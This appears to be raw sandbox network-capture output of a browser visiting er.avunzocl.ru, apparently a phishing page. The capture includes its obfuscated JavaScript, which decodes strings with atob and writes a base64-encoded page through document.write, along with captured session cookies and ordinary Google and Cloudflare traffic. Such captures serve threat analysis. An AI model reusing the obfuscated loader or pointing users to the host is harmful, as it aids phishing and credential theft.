Mar 20, 2025 19:34:16.209017038 CET	49423	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:16.209197998 CET	49883	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:16.316015959 CET	53	49883	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:16.318428993 CET	53	49423	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:16.495779037 CET	53	56474	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:17.290323019 CET	60221	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:17.290453911 CET	53304	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:17.394234896 CET	53	60221	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:17.395092964 CET	53	53304	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:19.416134119 CET	53	64501	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:37.965744972 CET	54608	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:37.966164112 CET	51752	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:38.071991920 CET	53	54608	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:38.072376013 CET	53	51752	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:42.150543928 CET	53	55362	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:42.286253929 CET	53	56479	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:42.618891001 CET	138	138	192.168.2.5	192.168.2.255
Mar 20, 2025 19:34:43.492187023 CET	53	49680	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:45.175268888 CET	53	60912	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:52.059194088 CET	53	61055	1.1.1.1	192.168.2.5

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 19:33:42.628784895 CET	411	OUT	GET /time/1/current?cup2key=8:4RLZSZ-Rn05imwLHZf3nMJNLeZbUZgH9PJzSl9qjdpc&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1 Host: clients2.google.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate
Mar 20, 2025 19:33:42.739080906 CET	1144	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site X-Content-Type-Options: nosniff x-cup-server-proof: 3046022100a3709d88b1bf247713d2cc8a34dd469b29c3a7db9f30ee825f265e8288916b15022100f1d6afcfa091b42b957f9fb33b47fdc255f05112c44dc6c9ee77d3f07e1d1c4e:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ETag: W/"3046022100a3709d88b1bf247713d2cc8a34dd469b29c3a7db9f30ee825f265e8288916b15022100f1d6afcfa091b42b957f9fb33b47fdc255f05112c44dc6c9ee77d3f07e1d1c4e:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 20 Mar 2025 18:33:42 GMT Content-Disposition: attachment; filename="json.txt"; filename=UTF-8''json.txt Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy: same-origin Content-Encoding: gzip Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 36 31 0d 0a 1f 8b 08 00 00 00 00 00 02 ff d2 8c ad 55 e7 aa 56 4a 2e 2d 2a 4a cd 2b 89 2f c9 cc 4d 8d cf cd cc c9 c9 2c 56 b2 32 34 37 31 32 b1 34 35 33 32 32 b3 30 d5 51 2a 4e 2d 2a 4b 2d 8a cf cb cf 4b 4e 55 b2 d2 35 d4 b3 b0 34 32 30 31 b0 34 32 35 34 30 b0 b4 34 37 72 35 32 36 a8 05 00 00 00 ff ff 0d 0a Data Ascii: 61UVJ.-J+/M,V24712453220QN-K-KNU542014254047r526
Mar 20, 2025 19:33:42.739099979 CET	20	IN	Data Raw: 61 0d 0a 03 00 d7 21 91 9f 51 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a!Q0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:33:48 UTC	669	OUT	GET /hhtc/ HTTP/1.1 Host: er.avunzocl.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:33:49 UTC	1234	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2FpsU3Spc28iGnuqRpkczfw8Bg8ajujtiXxlJleIs2bJ2EV9RZfKqCCMvbi5BI4ZbBydDQD3iZw%2B2Z1%2Bk31CWyUTXji5L0D4DSQCRfvdSd9PXGLQqMxMK%2Fxu3tEtd2Wg0vN7"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=4233&min_rtt=4225&rtt_var=1204&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1572&delivery_rate=665265&cwnd=251&unsent_bytes=0&cid=eb2fd779e861b1b4&ts=121&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlZtaEJWanFoYjBSZStXdFVvNExqUXc9PSIsInZhbHVlIjoiV2tsOGcyQld5czhGU3RhMGJRbTlCV2RJZEFHN2hibWJzcTNxaGttSm81bGppdUVhZHFrWDg4ckRLRk9uMXNIcXY5V2t2OWxHNjdMQzNmNTROUGtQa3ErZktDWUY5eWUxNFJmRXpnZjJtT01lRGUvWGtIK1lJUGhONG1BUUIySW4iLCJtYWMiOiJiZTUzN2VlMWMzMjQ1NjgzYjdiODU3YjE3MDFmMDg2NmIyM2IyY2JjOWUxYzdkODIxYTVkZDhlOGZmMTQ3M2NhIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Thu, 20 Mar 2025 20:33:48 GMT
2025-03-20 18:33:49 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 42 77 4d 6e 45 32 54 58 49 77 54 32 59 77 4d 6b 4e 34 4e 45 5a 53 51 6c 56 6d 59 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 6d 6b 32 62 33 70 6a 52 6d 30 72 56 6e 5a 45 51 55 52 6a 65 6c 6b 34 54 58 42 6b 4e 53 73 7a 55 47 67 77 4e 32 77 30 53 55 4a 57 65 48 64 4c 51 54 46 59 61 32 77 32 4f 47 68 6e 55 53 39 72 59 6d 70 51 59 6a 4e 6e 4f 43 74 73 65 45 74 42 4e 7a 56 50 63 54 64 44 4e 56 46 4e 52 30 4e 77 56 47 59 77 61 44 5a 35 57 58 68 30 61 7a 5a 4e 53 6c 55 72 4f 57 5a 50 64 31 70 59 53 47 31 79 59 32 74 54 63 45 39 6b 64 69 74 42 59 33 70 6d 4d 58 64 74 59 6e 67 34 62 57 56 4f 61 6d 5a 4c 64 6b 56 6e 52 47 70 51 59 56 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjBwMnE2TXIwT2YwMkN4NEZSQlVmYlE9PSIsInZhbHVlIjoiamk2b3pjRm0rVnZEQURjelk4TXBkNSszUGgwN2w0SUJWeHdLQTFYa2w2OGhnUS9rYmpQYjNnOCtseEtBNzVPcTdDNVFNR0NwVGYwaDZ5WXh0azZNSlUrOWZPd1pYSG1yY2tTcE9kditBY3pmMXdtYng4bWVOamZLdkVnRGpQYVE
2025-03-20 18:33:49 UTC	282	IN	Data Raw: 31 31 33 0d 0a 3c 73 63 72 69 70 74 3e 0a 52 69 50 43 57 53 55 66 42 4b 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 45 52 45 31 45 4c 6d 46 32 64 57 35 36 62 32 4e 73 4c 6e 4a 31 4c 32 68 6f 64 47 4d 76 22 29 3b 0a 59 50 4c 53 6a 5a 47 69 79 4c 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 4d 4b 58 66 41 75 55 62 41 67 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 52 69 50 43 57 53 55 66 42 4b 20 3d 3d 20 59 50 4c 53 6a 5a 47 69 79 4c 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 4d 4b 58 66 41 75 55 62 41 67 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 50 Data Ascii: 113<script>RiPCWSUfBK = atob("aHR0cHM6Ly9ERE1ELmF2dW56b2NsLnJ1L2hodGMv");YPLSjZGiyL = atob("bm9tYXRjaA==");MKXfAuUbAg = atob("d3JpdGU=");if(RiPCWSUfBK == YPLSjZGiyL){document[MKXfAuUbAg](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sP
2025-03-20 18:33:49 UTC	1369	IN	Data Raw: 32 33 64 32 0d 0a 4a 6c 62 44 30 69 61 57 4e 76 62 69 49 67 61 48 4a 6c 5a 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6b 5a 58 5a 6c 62 47 39 77 5a 58 4a 7a 4c 6d 4e 73 62 33 56 6b 5a 6d 78 68 63 6d 55 75 59 32 39 74 4c 32 5a 68 64 6d 6c 6a 62 32 34 75 63 47 35 6e 49 69 42 30 65 58 42 6c 50 53 4a 70 62 57 46 6e 5a 53 39 34 4c 57 6c 6a 62 32 34 69 50 67 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 64 44 30 69 62 6d 39 Data Ascii: 23d2JlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9
2025-03-20 18:33:49 UTC	1369	IN	Data Raw: 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 4Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g
2025-03-20 18:33:49 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 Data Ascii: 6g44Wk44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g776g4
2025-03-20 18:33:49 UTC	1369	IN	Data Raw: 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 Data Ascii: g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk77
2025-03-20 18:33:49 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 Data Ascii: 776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44Wk44Wk776
2025-03-20 18:33:49 UTC	1369	IN	Data Raw: 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 4Wk44Wk776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g
2025-03-20 18:33:49 UTC	964	IN	Data Raw: 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 Data Ascii: 6g44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk776g44Wk776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk4
2025-03-20 18:33:49 UTC	1369	IN	Data Raw: 37 66 62 62 0d 0a 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 Data Ascii: 7fbb44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk776g776g776g776g44Wk776g776g44Wk776g776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g776g4

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:33:49 UTC	702	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://er.avunzocl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:33:50 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 20 Mar 2025 18:33:50 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 92374cd86ae343bc-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:33:50 UTC	686	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://er.avunzocl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:33:50 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:33:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 92374cd92d5e43b3-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 18:33:50 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof 